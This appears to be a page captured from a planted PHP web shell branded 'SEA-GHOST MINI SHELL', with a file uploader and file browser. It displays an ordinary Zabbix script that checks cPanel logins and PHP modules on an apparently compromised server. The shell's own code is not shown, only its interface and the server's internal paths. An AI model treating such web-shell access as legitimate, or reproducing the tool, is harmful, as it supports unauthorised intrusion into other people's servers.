[ SEA-GHOST MINI SHELL]

Path : /proc/3/cwd/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/3/cwd/var/lib/zabbix/cpanel_checks.sh

#!/bin/bash

# args that we pass to the script are defined as "MACRO" at zabbix level
FUNCTION=$1

function check_cpanel_auth() {
  TEST_USER=$1
  PASSWD=$2

  TEST_HOST=$(hostname -f)
  RESPONCE=$(curl -k -s -o /dev/null -w "%{http_code}" -X POST -F "user=$TEST_USER" -F "pass=$PASSWD" https://$TEST_HOST:2083/login/?login_only=1)

  if [[ $RESPONCE =~ ^(200|302|307)$ ]];
    then
      echo 1
    else
      echo 0
  fi
}

function check_cpanel_cgi_php() {
  PHP_VERSION=$1
  PHP_MODULE=$2
  TEST_USER=$3

  PATH_TO_CHECK="monitoring.page/check.php"
  TEST_DOMAIN=test.`hostname -f`
  IPADDR=`hostname -i`

  sudo selectorctl --set-user-current=$PHP_VERSION --user=$TEST_USER
  EXT_STATUS=$(curl -s -H "Host: $TEST_DOMAIN" http://$IPADDR/$PATH_TO_CHECK?mod=$PHP_MODULE | awk -F ": " '{print $2}')

  if [[ "$EXT_STATUS" == "1" ]];
    then
      echo 1
    else
      echo 0
  fi
}

case "$FUNCTION" in
auth) check_cpanel_auth $2 $3
   ;;
cgi) check_cpanel_cgi_php $2 $3 $4
   ;;
*) echo "bad input"
   ;;
esac

SEA-GHOST - SHELL CODING BY SEA-GHOST